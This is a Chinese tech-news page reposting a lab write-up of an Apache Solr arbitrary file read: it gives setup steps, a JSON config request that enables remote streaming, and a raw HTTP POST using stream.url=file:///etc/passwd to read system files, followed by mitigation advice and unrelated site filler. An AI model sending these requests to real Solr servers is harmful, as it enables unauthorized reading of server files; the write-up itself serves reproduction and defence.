Apache Solr最新任意文件读取漏洞-低调大师

Apache Solr最新任意文件读取漏洞

2021-04-01 540

漏洞简介

Apache Solr是一个开源搜索服务引擎，默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。

本文涉及相关实验：CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞（Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的，提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。）

影响版本

solr任意版本

环境搭建

漏洞环境下载：

https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz

解压后进入bin目录，启动（需要java环境），

./solr start

此时启动的solr是没有核心进行索引和搜索的，创建一个节点（核心）

./solr create -c test

访问：http://ip:8983可以看到创建的核心

实际场景下可以看到会有很多核心

漏洞复现

启用远程流传输

访问http://ip:8983/solr/test/config/抓包，将请求包修改为POST请求，修改Content-Type为“application/json”，发送以下数据：

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

即可开启远程流。

读取文件

引入远程流，将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件

POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1

Host: 192.168.74.139:8983

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

stream.url=file:///etc/passwd

漏洞修复

（官方不承认这是漏洞.jpg）

因为solr默认安装情况下未授权，导致可以读取任意文件，启用Apache Solr身份验证可有效缓解该漏洞的影响

配置访问控制策略，避免Apache Solr暴露在互联网

参考

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ

微信关注我们

原文链接：https://my.oschina.net/hetianlab/blog/5005702

转载内容版权归作者及来源网站所有！

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

容器监控薅光了头发？这篇你再也不能错过！

随着 Docker 和容器技术的不断发展，越来越多的企业将 Docker 和容器应用到自身 IT 架构中，并投入测试和生产使用。这对企业的数据监测能力也提出了更高要求。传统的监测方案会从每个服务器和运行应用中采集指标，这些服务器和应用一般是静态的，运行时间长，一台主机可能只需要监测150个指标；但容器却不一样，短期存活、动态调度，具有自己的环境、虚拟网络和不同的存储管理，哪怕在相同的主机上也可能会调度短期存活的批处理命令和长期存活的进程。因此，当容器应用到IT架构中后，除需要采集的容器本身指标外，还要对在容器上运行的组件进行采集。如果没有一个比较完善的指标监控方式，对主机上几十甚至上百个 Docker 容器进行管控，将是一个非常浩大且费时费力的事情。这里我们以 Linux 操作系统为例，给大家推荐几种常见的监测方案。三种 Docker 监控指标的方式 1.读取CGroup 文件此方式是通过读取 CGroup 文件的方式获取指标。通常情况下，这些文件都在/sys/fs/cgroup目录下，例如 memory 相关指标会在 /sys/fs/cgroup/memory/docke...

2021-04-01

519

本文根据资深数据产品经理陈家崑《从 0 到 1 埋点体系指南》的分享内容整理。主要内容如下： · 首次开荒指南 · 埋点体系迭代指南 · 体系落地指南 · 数据埋点实操案例一、开荒所谓开荒，指的是初次接触埋点或神策的阶段。 1.定位：一个容易忽视的仪式关于埋点系统的定位，需要想清楚三个问题：第一，有没有清晰的认知，埋点系统所承担的用途是什么？作为业务埋点对接人，需要想清楚埋点系统所承担的用途是什么？它在整个公司业务体系中的定位是什么？如果没有对这个工具定位好，后续推广使用及跨部门合作时，可能会产生冲突或者与其他工具的定位重复或矛盾。第二，有没有明确的需求，而不是“为了埋点而埋点”。在面临具体埋点需求时，需要进一步明确它的使用价值是什么、能为业务解决什么问题。在我过往接触过的业务线中，有的为了埋点而埋点，没有想清楚具体该怎么使用，这样很容易造成大量垃圾数据。尤其当用户客群较大时，对应的数据量也是非常凶猛的，常常令人措手不及，比如使用若干个月后，发现线上存储空间不足，系统性能不够等，这些问题的治理繁琐又困难。第三，有没有明确的规划？在实际调动公司资源去落地构建埋点体系时...

2021-04-01

511

资源下载

更多资源

优质分享App

近一个月的开发和优化，本站点的第一个app全新上线。该app采用极致压缩，本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长，特征是大鼻子、头戴帽子、身穿背带裤，还留着胡子。与他的双胞胎兄弟路易基一起，长年担任任天堂的招牌角色。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。